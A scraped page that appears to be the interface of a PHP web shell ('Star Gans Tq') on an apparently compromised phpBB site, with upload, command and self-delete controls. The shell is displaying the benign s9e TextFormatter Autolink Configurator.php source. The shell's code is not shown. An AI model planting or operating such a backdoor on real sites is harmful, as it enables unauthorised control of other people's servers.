.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Plugins/Autolink/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/phpBB3/vendor/s9e/text-formatter/src/Plugins/Autolink/Configurator.php

    <?php
    
    /**
    * @package   s9e\TextFormatter
    * @copyright Copyright (c) 2010-2020 The s9e authors
    * @license   http://www.opensource.org/licenses/mit-license.php The MIT License
    */
    namespace s9e\TextFormatter\Plugins\Autolink;
    
    use s9e\TextFormatter\Configurator\Helpers\RegexpBuilder;
    use s9e\TextFormatter\Plugins\ConfiguratorBase;
    
    class Configurator extends ConfiguratorBase
    {
    	/**
    	* @var string Name of attribute that stores the link's URL
    	*/
    	protected $attrName = 'url';
    
    	/**
    	* @var bool Whether to match strings that start with "www."
    	*/
    	public $matchWww = false;
    
    	/**
    	* @var string Name of the tag used to represent links
    	*/
    	protected $tagName = 'URL';
    
    	/**
    	* Creates the tag used by this plugin
    	*
    	* @return void
    	*/
    	protected function setUp()
    	{
    		if (isset($this->configurator->tags[$this->tagName]))
    		{
    			return;
    		}
    
    		// Create a tag
    		$tag = $this->configurator->tags->add($this->tagName);
    
    		// Add an attribute using the default url filter
    		$filter = $this->configurator->attributeFilters->get('#url');
    		$tag->attributes->add($this->attrName)->filterChain->append($filter);
    
    		// Set the default template
    		$tag->template = '<a href="{@' . $this->attrName . '}"><xsl:apply-templates/></a>';
    	}
    
    	/**
    	* {@inheritdoc}
    	*/
    	public function asConfig()
    	{
    		$config = [
    			'attrName'   => $this->attrName,
    			'regexp'     => $this->getRegexp(),
    			'tagName'    => $this->tagName
    		];
    		if (!$this->matchWww)
    		{
    			$config['quickMatch'] = ':';
    		}
    
    		return $config;
    	}
    
    	/**
    	* Return the regexp used to match URLs
    	*
    	* @return strings
    	*/
    	protected function getRegexp()
    	{
    		$anchor = RegexpBuilder::fromList($this->configurator->urlConfig->getAllowedSchemes()) . ':';
    		if ($this->matchWww)
    		{
    			$anchor = '(?:' . $anchor . '|www\\.)';
    		}
    
    		$regexp = '#\\b' . $anchor . '(?>[^\\s()\\[\\]'
    		        . '\\x{FF01}-\\x{FF0F}\\x{FF1A}-\\x{FF20}\\x{FF3B}-\\x{FF40}\\x{FF5B}-\\x{FF65}'
    		        . ']|\\([^\\s()]*\\)|\\[\\w*\\])++#Siu';
    
    		return $regexp;
    	}
    }